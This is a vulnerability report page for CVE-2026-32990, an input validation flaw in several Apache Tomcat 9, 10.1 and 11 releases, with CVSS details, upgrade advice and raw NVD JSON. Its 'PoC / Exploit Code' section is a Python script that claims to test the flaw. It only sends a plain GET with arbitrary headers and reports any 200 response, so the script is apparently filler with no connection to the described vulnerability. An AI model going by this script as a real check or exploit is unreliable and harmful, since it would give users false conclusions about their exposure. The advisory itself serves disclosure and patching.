Security Vulnerability Report
中文
CVE-2026-32990 CVSS 5.3 MEDIUM

CVE-2026-32990

Published: 2026-04-09 20:16:25
Last Modified: 2026-04-14 12:47:52

Description

Improper Input Validation vulnerability in Apache Tomcat due to an incomplete fix of CVE-2025-66614. This issue affects Apache Tomcat: from 11.0.15 through 11.0.19, from 10.1.50 through 10.1.52, from 9.0.113 through 9.0.115. Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
Apache Tomcat 11.0.15 - 11.0.19
Apache Tomcat 10.1.50 - 10.1.52
Apache Tomcat 9.0.113 - 9.0.115

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-32990 (Improper Input Validation) This script sends a crafted HTTP request to test the vulnerability. """ headers = { "User-Agent": "CVE-2026-32990-PoC", "Content-Length": "5", "X-Custom-Header": "test_payload" } try: # Sending a GET request with crafted headers response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target {target_url} responded.") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers: {dict(response.headers)}") else: print(f"[-] Target responded with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080/" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32990", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:24.810", "lastModified": "2026-04-14T12:47:51.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation vulnerability in Apache Tomcat due to an incomplete fix of CVE-2025-66614.\n\nThis issue affects Apache Tomcat: from 11.0.15 through 11.0.19, from 10.1.50 through 10.1.52, from 9.0.113 through 9.0.115.\n\nUsers are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.113", "versionEndExcluding": "9.0.116", "matchCriteriaId": "9C1B78A4-9291-45F2-8A32-B6C5DB17AB05"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.50", "versionEndExcluding": "10.1.53", "matchCriteriaId": "216DAD3C-4186-4501-BE76-71EAAFCD4330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.15", "versionEndExcluding": "11.0.20", "matchCriteriaId": "0369EA67-355F-4E24-B5EE-6E7775EB3C31"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1nl9zqft0ksqlhlkd3j4obyjz1ghoyn7", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}]}}